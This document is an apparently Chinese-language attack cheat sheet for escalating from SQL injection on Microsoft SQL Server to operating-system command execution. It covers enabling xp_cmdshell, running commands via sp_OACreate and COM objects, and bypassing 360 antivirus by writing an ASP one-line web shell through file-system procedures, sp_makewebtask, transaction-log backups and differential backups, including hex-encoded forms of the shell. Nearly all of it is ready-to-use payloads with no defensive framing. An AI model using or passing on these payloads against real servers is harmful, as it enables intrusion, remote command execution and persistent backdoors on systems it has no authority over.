MSSQL的提權:
xp_cmshell組件的利用:
1、sql2005版本以後默認爲關閉狀態,需要開啓命令執行
開啓xp_cmdshell
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
注入點不支持多執行的話,需要一句一句的運行
;exec sp_configure 'show advanced options',1;
;RECONFIGURE;exec sp_configure'xp_cmdshell',1;
;RECONFIGURE;
利用:exec master..xp_cmdshell 'whoami'
sp_OACreate組件的利用(執行命令不回顯):
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
利用:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\who.txt'
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
COM組件的利用(cmd可自行上傳):
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\Inetpub\\wwwroot\\lu4n.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
恭喜大家以上弟弟我在360的環境下全部都試過了 攔截攔截攔截!!!
下面是可以繞過的方法 但是有條件
1、路徑已知
2、sa權限
第一種、存儲過程寫文件方法:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
第二種、存儲過程寫文件方法:
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;--
在上面一樣
;exec sp_makewebtask 'c:\inetpub\cbd666.asp,'%20select%20''<%25execute(request("a"))%25>'' ';-- -
第三種、log備份方法:
1. alter database 庫名 set RECOVERY FULL
2. create table cmd (a image)
3. backup log 庫名 to disk = 'c:\xxx' with init
4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
5. backup log 庫名 to disk = 'c:\xxx\2.asp'
第四種、差異備份方法:
1. backup database 庫名 to disk = 'c:\bak.bak';--
2. create table [dbo].[test] ([cmd] [image]);
3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4. backup database 庫名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--